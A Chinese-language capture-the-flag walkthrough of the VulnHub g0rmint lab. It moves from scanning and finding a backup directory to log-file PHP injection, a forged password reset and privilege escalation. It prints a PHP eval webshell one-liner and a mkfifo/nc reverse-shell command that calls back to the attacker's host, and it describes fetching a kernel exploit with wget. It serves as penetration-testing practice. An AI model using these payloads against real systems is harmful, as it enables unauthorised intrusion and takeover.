kali滲透綜合靶機(十四)--g0rmint靶機

靶機下載地址:https://www.vulnhub.com/entry/g0rmint-1,214/

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24

二、埠掃描

1. masscan --rate=10000 -p0-65535 192.168.10.173

三、埠服務識別

nmap -sV -T4 -O -p 22,80 192.168.10.173

四、漏洞查詢與利用

1.dirb目錄掃描

2.發現http://192.168.10.173/robots.txt,瀏覽器訪問，發現g0rmint

3.瀏覽器訪問http://192.168.10.173/g0rmint

4.檢視頁面原始碼,發現備份目錄

5.使用dirb 掃描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,發現http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php

6.訪問http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php

7.下載備份檔案

8.檢視網站程式碼,發現使用者名稱、密碼、郵箱,嘗試登入失敗

線上解密

9.檢視login.php,發現登入失敗的時候會生成一個日誌檔案(呼叫addlog函式)

10.檢視addlog函式,發現日誌寫在.php檔案中,嘗試在登入郵箱處插入php語句,從而任意執行程式碼

11.在登入郵箱處插入php一句話木馬,點選提交,登入失敗跳轉到登入頁面

最後發現是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");寫入了一個session判斷

所以需要先解決登入的問題。

12.檢視reset.php,可以看到只要知道了一個存在的郵箱和使用者名稱,就可以重置密碼為一個時間值的雜湊,嘗試了demo和一些常用郵箱使用者名稱之後，發現似乎並沒有這個使用者

13.在全文搜尋email關鍵字, 可以在一個css檔案中看到使用者的名字和郵箱

14.成功重置後,介面右下角也給出了對應的時間，遂能算出相應的雜湊值,使用線上的hash加密，去加密成功後的hash值前20位最為密碼的值

15. 用郵箱和算出的雜湊值就能登入到後臺中,然後就能成功的訪問到生成的log檔案

16.在登入的時郵箱處插入一條php語句，寫入webshell，<?php @eval($_POST[cmd]);?>然後訪問對應的日誌,提交post引數即可執行任意php程式碼。

17.然後將shell反彈到我的kali中來

在post中輸入:注意需要url編碼

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;

18.在Kali開啟監聽,獲得shell

19.提權

19.1檢視核心版本

19.2kali檢視是否有對應版本的漏洞

19.3在kali編譯好指令碼,然後目標用wget下載,執行,獲得管理員許可權

提權方式二:

1.在/var/www目錄下又發現網站備份檔案,解壓發現db.sql,

2.發現使用者noman以及密碼

線上解密

3.嘗試用noman使用者登入,失敗,發現/etc/passwd中有g0rmint，嘗試用noman的密碼登入,成功登入進去

4.用sudo -l 檢視當前使用者是否屬於sudo組,然後sudo -i 直接獲得管理員許可權

總結:

1、資訊收集、埠掃描、服務識別

2、目錄掃描、發現敏感資訊備份檔案

3、登入密碼的地方暫時突破不了,嘗試在重置密碼的地方尋找突破口、發現有用資訊

4、進行程式碼審計,發現日誌檔案的字尾是php檔案,這時可以嘗試在登入的地方接入一句話,然後就寫入到日誌中。

5、getshell、提權